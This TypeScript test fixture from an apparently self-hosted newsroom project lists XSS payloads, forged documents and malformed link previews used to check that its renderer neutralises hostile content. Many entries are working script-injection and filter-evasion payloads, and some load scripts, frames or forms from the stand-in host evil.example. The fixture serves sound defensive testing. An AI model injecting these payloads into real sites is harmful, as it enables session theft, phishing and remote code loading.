glass beadian
aa5e262f3a
Self-hosted multi-platform broadcast newsroom for activist collectives: publishing pipeline with group approval and DST-proof scheduling, TweetDeck-style column wall with hostile-content-safe rendering, live control room with Auto Director, bridged chat governance with polls and quorum, distributed sandboxed transcode workers, encrypted content-addressed archive, monthly analytics. MIT licensed. See README.md and docs/.
140 lines
6.7 KiB
TypeScript
140 lines
6.7 KiB
TypeScript
/**
|
||
* Malicious provider-content corpus (proposal §4.5 acceptance). Exported so
|
||
* `packages/testing` and the Playwright suites can replay the same payloads
|
||
* through connector mocks.
|
||
*/
|
||
export const ATTACKER_ORIGIN = "evil.example";
|
||
|
||
export const MALICIOUS_HTML: readonly string[] = [
|
||
// Script injection
|
||
"<script>alert(1)</script>",
|
||
"<SCRIPT SRC=//evil.example/x.js></SCRIPT>",
|
||
"<script src=https://evil.example/x.js>",
|
||
"<scr<script>ipt>alert(1)</scr</script>ipt>",
|
||
"<<script>script>alert(1)<</script>/script>",
|
||
"<p>hi<script>alert(1)</p>",
|
||
"<plaintext><script>alert(1)</script>",
|
||
// Event handlers / attributes
|
||
"<img src=x onerror=alert(1)>",
|
||
"<img src=\"https://evil.example/pixel.gif\">",
|
||
"<img srcset=\"https://evil.example/a.png 1x\" alt=\"pic\">",
|
||
"<svg onload=alert(1)>",
|
||
"<svg><script>alert(1)</script><a xlink:href=\"javascript:alert(1)\">x</a></svg>",
|
||
"<body onload=alert(1)>",
|
||
"<p onclick=\"alert(1)\" style=\"background:url(https://evil.example/t.png)\">click</p>",
|
||
"<a href=\"https://ok.example/\" onclick=\"alert(1)\" onmouseover=alert(1) style=\"position:fixed\">ok</a>",
|
||
"<div style=\"background-image:url('https://evil.example/t.png')\">css</div>",
|
||
"<details open ontoggle=alert(1)>",
|
||
"<input autofocus onfocus=alert(1)>",
|
||
"<video><source onerror=alert(1)></video>",
|
||
"<marquee onstart=alert(1)>x</marquee>",
|
||
// Dangerous schemes
|
||
"<a href=\"javascript:alert(1)\">x</a>",
|
||
"<a href=\"JaVaScRiPt:alert(1)\">x</a>",
|
||
"<a href=\" javascript:alert(1)\">x</a>",
|
||
"<a href=\"java	script:alert(1)\">x</a>",
|
||
"<a href=\"java\tscript:alert(1)\">x</a>",
|
||
"<a href=\"javascript:alert(1)\">x</a>",
|
||
"<a href=\"javascript:alert(1)\">x</a>",
|
||
"<a href=\"data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\">x</a>",
|
||
"<a href=\"vbscript:msgbox(1)\">x</a>",
|
||
"<a href=\"file:///etc/passwd\">x</a>",
|
||
"<a href=\"//evil.example/x\">x</a>",
|
||
"<a href=\"/\\evil.example/x\">x</a>",
|
||
"<a href=\"https:evil.example\">x</a>",
|
||
"<a href=\"https://user:pass@evil.example/\">creds</a>",
|
||
"<a href=\"https://ok.example@evil.example/\">at-trick</a>",
|
||
// Container elements
|
||
"<iframe src=\"https://evil.example/\"></iframe>",
|
||
"<iframe srcdoc=\"<script>alert(1)</script>\"></iframe>",
|
||
"<object data=\"https://evil.example/x.swf\"></object>",
|
||
"<embed src=\"https://evil.example/x.swf\">",
|
||
"<form action=\"https://evil.example/\"><input name=x><button>go</button></form>",
|
||
"<base href=\"https://evil.example/\">",
|
||
"<meta http-equiv=\"refresh\" content=\"0;url=https://evil.example/\">",
|
||
"<link rel=stylesheet href=\"https://evil.example/x.css\">",
|
||
"<style>@import 'https://evil.example/x.css'; body{background:url(https://evil.example/t.png)}</style>",
|
||
"<math><mtext><table><mglyph><style><img src=x onerror=alert(1)>",
|
||
"<noscript><p title=\"</noscript><img src=x onerror=alert(1)>\">",
|
||
"<textarea><img src=x onerror=alert(1)></textarea>",
|
||
"<template><img src=x onerror=alert(1)></template>",
|
||
"<svg><foreignObject><iframe src=javascript:alert(1)></iframe></foreignObject></svg>",
|
||
// Encoding / comment / malformed evasions
|
||
"<script>alert(1)</script>",
|
||
"<!--<script>alert(1)</script>-->",
|
||
"<!--><img src=x onerror=alert(1)>-->",
|
||
"<![CDATA[<script>alert(1)</script>]]>",
|
||
"<?xml-stylesheet href=\"https://evil.example/x.xsl\"?>",
|
||
"<a href=\"https://ok.example/\"<script>alert(1)</script>",
|
||
"<a href=\"https://ok.example/",
|
||
"<a href='https://ok.example/' title='\"><script>alert(1)</script>'>quotes</a>",
|
||
"<a href=https://ok.example/ ><img src=x onerror=alert(1)></a>",
|
||
"</p></a></div></span><img src=x onerror=alert(1)>",
|
||
"<a href=\"https://ok.example/\"><a href=\"javascript:alert(1)\">nested</a></a>",
|
||
"<span class=\"invisible\"><script>alert(1)</script></span>",
|
||
// Spoofing
|
||
"<a href=\"https://evil.example/login\">https://bank.example/login</a>",
|
||
"<a href=\"https://pаypal.com/\">paypal.com</a>",
|
||
"<p>filegnp.exe and zerowidthisolate</p>",
|
||
];
|
||
|
||
export const MALICIOUS_PLAIN: readonly string[] = [
|
||
"<script>alert(1)</script>",
|
||
"<img src=x onerror=alert(1)>",
|
||
"javascript:alert(1)",
|
||
"click javascript://%0aalert(1) now",
|
||
"data:text/html,<script>alert(1)</script>",
|
||
"https://evil.example/\"><script>alert(1)</script>",
|
||
"see https://user:pass@evil.example/ and //evil.example",
|
||
"@alice@evil.example #tag <b>bold</b>",
|
||
"txt.exe ",
|
||
"<script>",
|
||
];
|
||
|
||
export const MALICIOUS_LINK_PREVIEWS: readonly unknown[] = [
|
||
{ url: "javascript:alert(1)", title: "x" },
|
||
{ url: "data:text/html,<script>alert(1)</script>", title: "x" },
|
||
{ url: "//evil.example/", title: "protocol-relative" },
|
||
{ url: "https://ok.example/", title: "<script>alert(1)</script>", description: "<img src=x onerror=alert(1)>", image: "https://evil.example/og.png" },
|
||
{ url: "https://ok.example/", image: "javascript:alert(1)" },
|
||
{ url: "https://ok.example/", image: "data:image/svg+xml,<svg onload=alert(1)>" },
|
||
{ url: "https://ok.example/", image: "//evil.example/og.png" },
|
||
{ url: "https://ok.example/", siteName: "lapyap", title: "x".repeat(100_000) },
|
||
{ type: "linkPreview", href: "javascript:alert(1)", host: "ok.example" },
|
||
{ type: "linkPreview", href: "https://ok.example/", host: "ok.example", image: "https://evil.example/direct.png" },
|
||
{ url: { toString: () => "javascript:alert(1)" } },
|
||
null,
|
||
"https://ok.example/",
|
||
];
|
||
|
||
/** Hand-forged ASTs, as if from a tampered DB row or websocket frame. */
|
||
export const FORGED_DOCUMENTS: readonly unknown[] = [
|
||
{
|
||
type: "doc",
|
||
version: 1,
|
||
truncated: false,
|
||
children: [
|
||
{
|
||
type: "paragraph",
|
||
children: [
|
||
{ type: "link", href: "javascript:alert(1)", host: "ok.example", children: [{ type: "text", text: "x" }] },
|
||
{ type: "link", href: "https://ok.example/", host: "ok.example", children: [{ type: "html", html: "<script>alert(1)</script>" }] },
|
||
{ type: "emoji", shortcode: "x", src: "https://evil.example/e.png" },
|
||
{ type: "emoji", shortcode: "x", src: "/api/media-proxy?url=javascript%3Aalert(1)" },
|
||
{ type: "emoji", shortcode: "x\"onerror=alert(1)", src: "/api/media-proxy?url=https%3A%2F%2Fok.example%2Fe.png" },
|
||
{ type: "html", html: "<img src=x onerror=alert(1)>" },
|
||
{ type: "text", text: "<img src=x onerror=alert(1)>" },
|
||
{ type: "mention", handle: "x\"><script>", href: "javascript:alert(1)" },
|
||
{ type: "hashtag", tag: "ok", href: "data:text/html,x" },
|
||
{ type: "text", text: { toString: () => "<script>" } },
|
||
],
|
||
},
|
||
{ type: "script", children: [] },
|
||
"<script>alert(1)</script>",
|
||
],
|
||
},
|
||
{ type: "doc", children: "nope" },
|
||
"<script>alert(1)</script>",
|
||
null,
|
||
[],
|
||
];
|